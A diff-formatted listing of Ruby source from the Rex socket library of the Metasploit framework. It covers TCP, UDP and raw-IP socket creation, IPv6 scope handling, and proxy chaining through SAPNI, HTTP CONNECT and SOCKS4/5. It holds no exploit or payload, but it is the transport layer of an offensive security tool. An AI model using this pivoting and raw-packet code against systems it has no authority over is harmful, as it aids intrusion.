# Creates an instance of a socket using the supplied parameters.
|
||||
# Use various hacks to make this work with jRuby
|
||||
#
|
||||
def self.create_jruby(param)
|
||||
sock = nil
|
||||
|
||||
# Notify handlers of the before socket create event.
|
||||
self.instance.notify_before_socket_create(self, param)
|
||||
|
||||
case param.proto
|
||||
when 'tcp'
|
||||
if (param.server?)
|
||||
sock = TCPServer.new(param.localport, param.localhost)
|
||||
klass = Rex::Socket::TcpServer
|
||||
if (param.ssl)
|
||||
klass = Rex::Socket::SslTcpServer
|
||||
end
|
||||
sock.extend(klass)
|
||||
|
||||
else
|
||||
sock = TCPSocket.new(param.peerhost, param.peerport)
|
||||
klass = Rex::Socket::Tcp
|
||||
if (param.ssl)
|
||||
klass = Rex::Socket::SslTcp
|
||||
end
|
||||
sock.extend(klass)
|
||||
end
|
||||
when 'udp'
|
||||
if (param.server?)
|
||||
sock = UDPServer.new(param.localport, param.localhost)
|
||||
klass = Rex::Socket::UdpServer
|
||||
sock.extend(klass)
|
||||
else
|
||||
sock = UDPSocket.new(param.peerhost, param.peerport)
|
||||
klass = Rex::Socket::Udp
|
||||
sock.extend(klass)
|
||||
end
|
||||
else
|
||||
raise Rex::UnsupportedProtocol.new(param.proto), caller
|
||||
end
|
||||
|
||||
sock.initsock(param)
|
||||
self.instance.notify_socket_created(self, sock, param)
|
||||
return sock
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates a raw IP socket using the supplied Parameter instance.
|
||||
# Special-cased because of how different it is from UDP/TCP
|
||||
#
|
||||
def self.create_ip(param)
|
||||
self.instance.notify_before_socket_create(self, param)
|
||||
|
||||
sock = ::Socket.open(::Socket::PF_INET, ::Socket::SOCK_RAW, ::Socket::IPPROTO_RAW)
|
||||
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_HDRINCL, 1)
|
||||
|
||||
# Configure broadcast support
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BROADCAST, true)
|
||||
|
||||
if (param.bare? == false)
|
||||
sock.extend(::Rex::Socket::Ip)
|
||||
sock.initsock(param)
|
||||
end
|
||||
|
||||
self.instance.notify_socket_created(self, sock, param)
|
||||
|
||||
sock
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Creates a socket using the supplied Parameter instance.
|
||||
#
|
||||
def self.create_by_type(param, type, proto = 0)
|
||||
|
||||
# Whether to use IPv6 addressing
|
||||
usev6 = false
|
||||
|
||||
# Detect IPv6 addresses and enable IPv6 accordingly
|
||||
if ( Rex::Socket.support_ipv6?())
|
||||
|
||||
# Allow the caller to force IPv6
|
||||
if (param.v6)
|
||||
usev6 = true
|
||||
end
|
||||
|
||||
# Force IPv6 mode for non-connected UDP sockets
|
||||
if (type == ::Socket::SOCK_DGRAM and not param.peerhost)
|
||||
# FreeBSD allows IPv6 socket creation, but throws an error on sendto()
|
||||
# Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets
|
||||
unless Rex::Compat.is_freebsd or Rex::Compat.is_windows
|
||||
usev6 = true
|
||||
end
|
||||
end
|
||||
|
||||
local = Rex::Socket.resolv_nbo(param.localhost) if param.localhost
|
||||
peer = Rex::Socket.resolv_nbo(param.peerhost) if param.peerhost
|
||||
|
||||
if (local and local.length == 16)
|
||||
usev6 = true
|
||||
end
|
||||
|
||||
if (peer and peer.length == 16)
|
||||
usev6 = true
|
||||
end
|
||||
|
||||
if (usev6)
|
||||
if (local and local.length == 4)
|
||||
if (local == "\x00\x00\x00\x00")
|
||||
param.localhost = '::'
|
||||
elsif (local == "\x7f\x00\x00\x01")
|
||||
param.localhost = '::1'
|
||||
else
|
||||
param.localhost = '::ffff:' + Rex::Socket.getaddress(param.localhost, true)
|
||||
end
|
||||
end
|
||||
|
||||
if (peer and peer.length == 4)
|
||||
if (peer == "\x00\x00\x00\x00")
|
||||
param.peerhost = '::'
|
||||
elsif (peer == "\x7f\x00\x00\x01")
|
||||
param.peerhost = '::1'
|
||||
else
|
||||
param.peerhost = '::ffff:' + Rex::Socket.getaddress(param.peerhost, true)
|
||||
end
|
||||
end
|
||||
|
||||
param.v6 = true
|
||||
end
|
||||
else
|
||||
# No IPv6 support
|
||||
param.v6 = false
|
||||
end
|
||||
|
||||
# Notify handlers of the before socket create event.
|
||||
self.instance.notify_before_socket_create(self, param)
|
||||
|
||||
# Create the socket
|
||||
sock = nil
|
||||
if (param.v6)
|
||||
sock = ::Socket.new(::Socket::AF_INET6, type, proto)
|
||||
else
|
||||
sock = ::Socket.new(::Socket::AF_INET, type, proto)
|
||||
end
|
||||
|
||||
# Bind to a given local address and/or port if they are supplied
|
||||
if param.localport or param.localhost
|
||||
begin
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, true)
|
||||
sock.bind(Rex::Socket.to_sockaddr(param.localhost, param.localport))
|
||||
|
||||
rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE
|
||||
sock.close
|
||||
raise Rex::BindFailed.new(param.localhost, param.localport), caller
|
||||
end
|
||||
end
|
||||
|
||||
# Configure broadcast support for all datagram sockets
|
||||
if (type == ::Socket::SOCK_DGRAM)
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BROADCAST, true)
|
||||
end
|
||||
|
||||
# If a server TCP instance is being created...
|
||||
if (param.server?)
|
||||
sock.listen(256)
|
||||
|
||||
if (param.bare? == false)
|
||||
klass = Rex::Socket::TcpServer
|
||||
if (param.ssl)
|
||||
klass = Rex::Socket::SslTcpServer
|
||||
end
|
||||
sock.extend(klass)
|
||||
|
||||
sock.initsock(param)
|
||||
end
|
||||
# Otherwise, if we're creating a client...
|
||||
else
|
||||
chain = []
|
||||
|
||||
# If we were supplied with host information
|
||||
if (param.peerhost)
|
||||
|
||||
# A flag that indicates whether we need to try multiple scopes
|
||||
retry_scopes = false
|
||||
|
||||
# Always retry with link-local IPv6 addresses
|
||||
if Rex::Socket.is_ipv6?( param.peerhost ) and param.peerhost =~ /^fe80::/
|
||||
retry_scopes = true
|
||||
end
|
||||
|
||||
# Prepare a list of scope IDs to try when connecting to
|
||||
# link-level addresses. Read from /proc if it is available,
|
||||
# otherwise increment through the first 255 IDs.
|
||||
@@ip6_lla_scopes ||= []
|
||||
|
||||
if @@ip6_lla_scopes.length == 0 and retry_scopes
|
||||
|
||||
# Linux specific interface lookup code
|
||||
if ::File.exist?( "/proc/self/net/igmp6" )
|
||||
::File.open("/proc/self/net/igmp6") do |fd|
|
||||
fd.each_line do |line|
|
||||
line = line.strip
|
||||
tscope, tint, junk = line.split(/\s+/, 3)
|
||||
next if not tint
|
||||
|
||||
# Specifying lo in any connect call results in the socket
|
||||
# being unusable, even if the correct interface is set.
|
||||
next if tint == "lo"
|
||||
|
||||
@@ip6_lla_scopes << tscope
|
||||
end
|
||||
end
|
||||
else
|
||||
# Other Unix-like platforms should support a raw scope ID
|
||||
[*(1 .. 255)].map{ |x| @@ip6_lla_scopes << x.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
ip6_scope_idx = 0
|
||||
ip = param.peerhost
|
||||
port = param.peerport
|
||||
|
||||
if param.proxies
|
||||
chain = param.proxies.dup
|
||||
chain.push(['host',param.peerhost,param.peerport])
|
||||
ip = chain[0][1]
|
||||
port = chain[0][2].to_i
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
begin
|
||||
Timeout.timeout(param.timeout) do
|
||||
sock.connect(Rex::Socket.to_sockaddr(ip, port))
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise ::Errno::ETIMEDOUT
|
||||
end
|
||||
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT
|
||||
|
||||
# Rescue errors caused by a bad Scope ID for a link-local address
|
||||
if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ]
|
||||
ip = param.peerhost + "%" + @@ip6_lla_scopes[ ip6_scope_idx ]
|
||||
ip6_scope_idx += 1
|
||||
retry
|
||||
end
|
||||
|
||||
sock.close
|
||||
raise Rex::HostUnreachable.new(ip, port), caller
|
||||
|
||||
rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE
|
||||
sock.close
|
||||
raise Rex::InvalidDestination.new(ip, port), caller
|
||||
|
||||
rescue Errno::ETIMEDOUT
|
||||
sock.close
|
||||
raise Rex::ConnectionTimeout.new(ip, port), caller
|
||||
|
||||
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED
|
||||
sock.close
|
||||
# Report the actual thing we were trying to connect to here, not
|
||||
# param.peerhost, since that's the eventual target at the end of the
|
||||
# proxy chain
|
||||
raise Rex::ConnectionRefused.new(ip, port.to_i), caller
|
||||
end
|
||||
end
|
||||
|
||||
if (param.bare? == false)
|
||||
case param.proto
|
||||
when 'tcp'
|
||||
klass = Rex::Socket::Tcp
|
||||
sock.extend(klass)
|
||||
sock.initsock(param)
|
||||
when 'udp'
|
||||
sock.extend(Rex::Socket::Udp)
|
||||
sock.initsock(param)
|
||||
end
|
||||
end
|
||||
|
||||
if chain.size > 1
|
||||
chain.each_with_index {
|
||||
|proxy, i|
|
||||
next_hop = chain[i + 1]
|
||||
if next_hop
|
||||
proxy(sock, proxy[0], next_hop[1], next_hop[2])
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# Now extend the socket with SSL and perform the handshake
|
||||
if(param.bare? == false and param.ssl)
|
||||
klass = Rex::Socket::SslTcp
|
||||
sock.extend(klass)
|
||||
sock.initsock(param)
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
# Notify handlers that a socket has been created.
|
||||
self.instance.notify_socket_created(self, sock, param)
|
||||
|
||||
sock
|
||||
end
|
||||
|
||||
def self.proxy(sock, type, host, port)
|
||||
case type.downcase
|
||||
when 'sapni'
|
||||
packet_type = 'NI_ROUTE'
|
||||
route_info_version = 2
|
||||
ni_version = 39
|
||||
num_of_entries = 2
|
||||
talk_mode = 1 # ref: http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767/content.htm
|
||||
num_rest_nodes = 1
|
||||
|
||||
_af, shost, sport = sock.getpeername_as_array
|
||||
first_route_item = [shost, 0, sport, 0, 0].pack("A*CA*cc")
|
||||
route_data = [first_route_item.length, first_route_item].pack("NA*")
|
||||
route_data << [host, 0, port.to_s, 0, 0].pack("A*CA*cc")
|
||||
|
||||
ni_packet = [
|
||||
packet_type,
|
||||
0,
|
||||
route_info_version,
|
||||
ni_version,
|
||||
num_of_entries,
|
||||
talk_mode,
|
||||
0,
|
||||
0,
|
||||
num_rest_nodes
|
||||
].pack("A8c8")
|
||||
# Add the data block, according to sap documentation:
|
||||
# A 4-byte header precedes each data block. These 4 bytes give the
|
||||
# length of the data block (length without leading 4 bytes)
|
||||
# The data block (the route data)
|
||||
ni_packet << [route_data.length - 4].pack('N') + route_data
|
||||
# Now that we've built the whole packet, prepend its length before writing it to the wire
|
||||
ni_packet = [ni_packet.length].pack('N') + ni_packet
|
||||
|
||||
size = sock.put(ni_packet)
|
||||
|
||||
if size != ni_packet.length
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
|
||||
end
|
||||
|
||||
begin
|
||||
ret_len = sock.get_once(4, 30).unpack('N')[0]
|
||||
if ret_len and ret_len != 0
|
||||
ret = sock.get_once(ret_len, 30)
|
||||
end
|
||||
rescue IOError
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
|
||||
end
|
||||
|
||||
if ret and ret.length < 4
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
|
||||
end
|
||||
|
||||
if ret =~ /NI_RTERR/
|
||||
case ret
|
||||
when /timed out/
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to remote host #{host} timed out")
|
||||
when /refused/
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to remote port #{port} closed")
|
||||
when /denied/
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} blocked by ACL")
|
||||
else
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} failed (Unknown fail)")
|
||||
end
|
||||
elsif ret =~ /NI_PONG/
|
||||
# success case
|
||||
# would like to print this "[*] remote native connection to #{host}:#{port} established\n"
|
||||
else
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} failed (Unknown fail)")
|
||||
end
|
||||
|
||||
when 'http'
|
||||
setup = "CONNECT #{host}:#{port} HTTP/1.0\r\n\r\n"
|
||||
size = sock.put(setup)
|
||||
if (size != setup.length)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
|
||||
end
|
||||
|
||||
begin
|
||||
ret = sock.get_once(39,30)
|
||||
rescue IOError
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
|
||||
end
|
||||
|
||||
if ret.nil?
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
|
||||
end
|
||||
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
resp.update_cmd_parts(ret.split(/\r?\n/)[0])
|
||||
|
||||
if resp.code != 200
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "The proxy returned a non-OK response"), caller
|
||||
end
|
||||
when 'socks4'
|
||||
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
|
||||
size = sock.put(setup)
|
||||
if (size != setup.length)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
|
||||
end
|
||||
|
||||
begin
|
||||
ret = sock.get_once(8, 30)
|
||||
rescue IOError
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
|
||||
end
|
||||
|
||||
if (ret.nil? or ret.length < 8)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
|
||||
end
|
||||
if ret[1,1] != "\x5a"
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Proxy responded with error code #{ret[0,1].unpack("C")[0]}"), caller
|
||||
end
|
||||
when 'socks5'
|
||||
auth_methods = [5,1,0].pack('CCC')
|
||||
size = sock.put(auth_methods)
|
||||
if (size != auth_methods.length)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
|
||||
end
|
||||
ret = sock.get_once(2,30)
|
||||
if (ret[1,1] == "\xff")
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "The proxy requires authentication"), caller
|
||||
end
|
||||
|
||||
if (Rex::Socket.is_ipv4?(host))
|
||||
addr = Rex::Socket.gethostbyname(host)[3]
|
||||
setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
|
||||
elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
|
||||
# IPv6 stuff all untested
|
||||
addr = Rex::Socket.gethostbyname(host)[3]
|
||||
setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
|
||||
else
|
||||
# Then it must be a domain name.
|
||||
# Unfortunately, it looks like the host has always been
|
||||
# resolved by the time it gets here, so this code never runs.
|
||||
setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
|
||||
end
|
||||
|
||||
size = sock.put(setup)
|
||||
if (size != setup.length)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
|
||||
end
|
||||
|
||||
begin
|
||||
response = sock.get_once(10, 30)
|
||||
rescue IOError
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
|
||||
end
|
||||
|
||||
if (response.nil? or response.length < 10)
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
|
||||
end
|
||||
if response[1,1] != "\x00"
|
||||
raise Rex::ConnectionProxyError.new(host, port, type, "Proxy responded with error code #{response[1,1].unpack("C")[0]}"), caller
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "The proxy type specified is not valid", caller
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Registration
|
||||
#
|
||||
##
|
||||
|
||||
def self.register_event_handler(handler) # :nodoc:
|
||||
self.instance.register_event_handler(handler)
|
||||
end
|
||||
|
||||
def self.deregister_event_handler(handler) # :nodoc:
|
||||
self.instance.deregister_event_handler(handler)
|
||||
end
|
||||
|
||||
def self.each_event_handler(handler) # :nodoc:
|
||||
self.instance.each_event_handler(handler)
|
||||
end
|
||||
|
||||
end
|
|
@ -1,132 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with a IP socket.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::Ip
|
||||
|
||||
include Rex::Socket
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates the client using the supplied hash.
|
||||
#
|
||||
def self.create(hash = {})
|
||||
hash['Proto'] = 'ip'
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around the base socket class' creation method that automatically
|
||||
# sets the parameter's protocol to IP.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.proto = 'ip'
|
||||
Rex::Socket.create_param(param)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# IP connected state methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Write the supplied datagram to the connected IP socket.
|
||||
#
|
||||
def write(gram)
|
||||
raise RuntimeError, "IP sockets must use sendto(), not write()"
|
||||
end
|
||||
|
||||
alias put write
|
||||
|
||||
#
|
||||
# Read a datagram from the IP socket.
|
||||
#
|
||||
def read(length = 65535)
|
||||
raise RuntimeError, "IP sockets must use recvfrom(), not read()"
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# IP non-connected state methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Sends a datagram to the supplied host:port with optional flags.
|
||||
#
|
||||
def sendto(gram, peerhost, flags = 0)
|
||||
dest = ::Socket.pack_sockaddr_in(0, peerhost)
|
||||
|
||||
# Some BSDs require byteswap for len and offset
|
||||
if(
|
||||
Rex::Compat.is_freebsd or
|
||||
Rex::Compat.is_netbsd or
|
||||
Rex::Compat.is_bsdi or
|
||||
Rex::Compat.is_macosx
|
||||
)
|
||||
gram=gram.dup
|
||||
# Note that these are *intentionally* host order for BSD support
|
||||
gram[2,2]=gram[2,2].unpack("n").pack("s")
|
||||
gram[6,2]=gram[6,2].unpack("n").pack("s")
|
||||
end
|
||||
|
||||
begin
|
||||
send(gram, flags, dest)
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Receives a datagram and returns the data and host of the requestor
|
||||
# as [ data, host ].
|
||||
#
|
||||
def recvfrom(length = 65535, timeout=def_read_timeout)
|
||||
begin
|
||||
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
|
||||
(rv[0]) and (rv[0][0] == fd)
|
||||
)
|
||||
data, saddr = super(length)
|
||||
af, host = Rex::Socket.from_sockaddr(saddr)
|
||||
|
||||
return [ data, host ]
|
||||
else
|
||||
return [ '', nil ]
|
||||
end
|
||||
rescue Exception
|
||||
return [ '', nil ]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Calls recvfrom and only returns the data
|
||||
#
|
||||
def get(timeout=nil)
|
||||
data, saddr = recvfrom(65535, timeout)
|
||||
return data
|
||||
end
|
||||
|
||||
#
|
||||
# The default number of seconds to wait for a read operation to timeout.
|
||||
#
|
||||
def def_read_timeout
|
||||
10
|
||||
end
|
||||
|
||||
def type?
|
||||
return 'ip'
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,372 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
###
|
||||
#
|
||||
# This class represents the set of parameters that are used to create
|
||||
# a socket, whether it be a server or client socket.
|
||||
#
|
||||
# @example
|
||||
# nsock = Rex::Socket::Tcp.create(
|
||||
# 'PeerHost' => opts['RHOST'] || rhost,
|
||||
# 'PeerPort' => (opts['RPORT'] || rport).to_i,
|
||||
# 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
|
||||
# 'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
|
||||
# 'SSL' => dossl,
|
||||
# 'SSLVersion'=> opts['SSLVersion'] || ssl_version,
|
||||
# 'Proxies' => proxies,
|
||||
# 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
|
||||
# 'Context' =>
|
||||
# {
|
||||
# 'Msf' => framework,
|
||||
# 'MsfExploit' => self,
|
||||
# })
|
||||
#
|
||||
###
|
||||
class Rex::Socket::Parameters
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates an instance of the Parameters class using the supplied hash.
|
||||
#
|
||||
def self.from_hash(hash)
|
||||
return self.new(hash)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Initializes the attributes from the supplied hash. The following hash
|
||||
# keys can be specified.
|
||||
#
|
||||
# @option hash [String] 'PeerHost' The remote host to connect to
|
||||
# @option hash [String] 'PeerAddr' (alias for 'PeerHost')
|
||||
# @option hash [Fixnum] 'PeerPort' The remote port to connect to
|
||||
# @option hash [String] 'LocalHost' The local host to communicate from, if any
|
||||
# @option hash [String] 'LocalPort' The local port to communicate from, if any
|
||||
# @option hash [Bool] 'Bool' Create a bare socket
|
||||
# @option hash [Bool] 'Server' Whether or not this should be a server
|
||||
# @option hash [Bool] 'SSL' Whether or not SSL should be used
|
||||
# @option hash [OpenSSL::SSL::SSLContext] 'SSLContext' Use a pregenerated SSL Context
|
||||
# @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is
|
||||
# default)
|
||||
# @option hash [String] 'SSLCert' A file containing an SSL certificate (for
|
||||
# server sockets)
|
||||
# @option hash [String] 'SSLCipher' see {#ssl_cipher}
|
||||
# @option hash [Bool] 'SSLCompression' enable SSL-level compression where available
|
||||
# @option hash [String] 'SSLVerifyMode' SSL certificate verification
|
||||
# mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER'
|
||||
# @option hash [String] 'Proxies' List of proxies to use.
|
||||
# @option hash [String] 'Proto' The underlying protocol to use.
|
||||
# @option hash [String] 'IPv6' Force the use of IPv6.
|
||||
# @option hash [String] 'Comm' The underlying {Comm} object to use to create
|
||||
# the socket for this parameter set.
|
||||
# @option hash [Hash] 'Context' A context hash that can allow users of
|
||||
# this parameter class instance to determine who is responsible for
|
||||
# requesting that a socket be created.
|
||||
# @option hash [String] 'Retries' The number of times a connection should be
|
||||
# retried.
|
||||
# @option hash [Fixnum] 'Timeout' The number of seconds before a connection
|
||||
# should time out
|
||||
def initialize(hash)
|
||||
if (hash['PeerHost'])
|
||||
self.peerhost = hash['PeerHost']
|
||||
elsif (hash['PeerAddr'])
|
||||
self.peerhost = hash['PeerAddr']
|
||||
else
|
||||
self.peerhost = nil
|
||||
end
|
||||
|
||||
if (hash['LocalHost'])
|
||||
self.localhost = hash['LocalHost']
|
||||
elsif (hash['LocalAddr'])
|
||||
self.localhost = hash['LocalAddr']
|
||||
else
|
||||
self.localhost = '0.0.0.0'
|
||||
end
|
||||
|
||||
if (hash['PeerPort'])
|
||||
self.peerport = hash['PeerPort'].to_i
|
||||
else
|
||||
self.peerport = 0
|
||||
end
|
||||
|
||||
if (hash['LocalPort'])
|
||||
self.localport = hash['LocalPort'].to_i
|
||||
else
|
||||
self.localport = 0
|
||||
end
|
||||
|
||||
if (hash['Bare'])
|
||||
self.bare = hash['Bare']
|
||||
else
|
||||
self.bare = false
|
||||
end
|
||||
|
||||
if (hash['SSL'] and hash['SSL'].to_s =~ /^(t|y|1)/i)
|
||||
self.ssl = true
|
||||
else
|
||||
self.ssl = false
|
||||
end
|
||||
|
||||
if hash['SSLContext']
|
||||
self.sslctx = hash['SSLContext']
|
||||
end
|
||||
|
||||
supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1]
|
||||
if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion'])
|
||||
self.ssl_version = hash['SSLVersion']
|
||||
end
|
||||
|
||||
supported_ssl_verifiers = %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}
|
||||
if (hash['SSLVerifyMode'] and supported_ssl_verifiers.include? hash['SSLVerifyMode'])
|
||||
self.ssl_verify_mode = hash['SSLVerifyMode']
|
||||
end
|
||||
|
||||
if hash['SSLCompression']
|
||||
self.ssl_compression = hash['SSLCompression']
|
||||
end
|
||||
|
||||
if (hash['SSLCipher'])
|
||||
self.ssl_cipher = hash['SSLCipher']
|
||||
end
|
||||
|
||||
if (hash['SSLCert'] and ::File.file?(hash['SSLCert']))
|
||||
begin
|
||||
self.ssl_cert = ::File.read(hash['SSLCert'])
|
||||
rescue ::Exception => e
|
||||
elog("Failed to read cert: #{e.class}: #{e}", LogSource)
|
||||
end
|
||||
end
|
||||
|
||||
if hash['Proxies']
|
||||
self.proxies = hash['Proxies'].split('-').map{|a| a.strip}.map{|a| a.split(':').map{|b| b.strip}}
|
||||
end
|
||||
|
||||
# The protocol this socket will be using
|
||||
if (hash['Proto'])
|
||||
self.proto = hash['Proto'].downcase
|
||||
else
|
||||
self.proto = 'tcp'
|
||||
end
|
||||
|
||||
# Whether or not the socket should be a server
|
||||
self.server = hash['Server'] || false
|
||||
|
||||
# The communication subsystem to use to create the socket
|
||||
self.comm = hash['Comm']
|
||||
|
||||
# The context that was passed in, if any.
|
||||
self.context = hash['Context'] || {}
|
||||
|
||||
# If no comm was supplied, try to use the comm that is best fit to
|
||||
# handle the provided host based on the current routing table.
|
||||
if( self.server )
|
||||
if (self.comm == nil and self.localhost)
|
||||
self.comm = Rex::Socket::SwitchBoard.best_comm(self.localhost)
|
||||
end
|
||||
else
|
||||
if (self.comm == nil and self.peerhost)
|
||||
self.comm = Rex::Socket::SwitchBoard.best_comm(self.peerhost)
|
||||
end
|
||||
end
|
||||
|
||||
# If we still haven't found a comm, we default to the local comm.
|
||||
self.comm = Rex::Socket::Comm::Local if (self.comm == nil)
|
||||
|
||||
# If we are a UDP server, turn off the server flag as it was only set when
|
||||
# creating the UDP socket in order to avail of the switch board above.
|
||||
if( self.server and self.proto == 'udp' )
|
||||
self.server = false
|
||||
end
|
||||
|
||||
# The number of connection retries to make (client only)
|
||||
if hash['Retries']
|
||||
self.retries = hash['Retries'].to_i
|
||||
else
|
||||
self.retries = 0
|
||||
end
|
||||
|
||||
# The number of seconds before a connect attempt times out (client only)
|
||||
if hash['Timeout']
|
||||
self.timeout = hash['Timeout'].to_i
|
||||
else
|
||||
self.timeout = 5
|
||||
end
|
||||
|
||||
# Whether to force IPv6 addressing
|
||||
self.v6 = hash['IPv6'] || false
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Conditionals
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Returns true if this represents parameters for a server.
|
||||
#
|
||||
def server?
|
||||
return (server == true)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this represents parameters for a client.
|
||||
#
|
||||
def client?
|
||||
return (server == false)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the protocol for the parameters is TCP.
|
||||
#
|
||||
def tcp?
|
||||
return (proto == 'tcp')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the protocol for the parameters is UDP.
|
||||
#
|
||||
def udp?
|
||||
return (proto == 'udp')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the protocol for the parameters is IP.
|
||||
#
|
||||
def ip?
|
||||
return (proto == 'ip')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the socket is a bare socket that does not inherit from
|
||||
# any extended Rex classes.
|
||||
#
|
||||
def bare?
|
||||
return (bare == true)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if SSL has been requested.
|
||||
#
|
||||
def ssl?
|
||||
return ssl
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if IPv6 has been enabled
|
||||
#
|
||||
def v6?
|
||||
return v6
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
##
|
||||
|
||||
# The remote host information, equivalent to the PeerHost parameter hash
|
||||
# key.
|
||||
# @return [String]
|
||||
attr_accessor :peerhost
|
||||
|
||||
# The remote port. Equivalent to the PeerPort parameter hash key.
|
||||
# @return [Fixnum]
|
||||
attr_accessor :peerport
|
||||
|
||||
# The local host. Equivalent to the LocalHost parameter hash key.
|
||||
# @return [String]
|
||||
attr_accessor :localhost
|
||||
|
||||
# The local port. Equivalent to the LocalPort parameter hash key.
|
||||
# @return [Fixnum]
|
||||
attr_accessor :localport
|
||||
|
||||
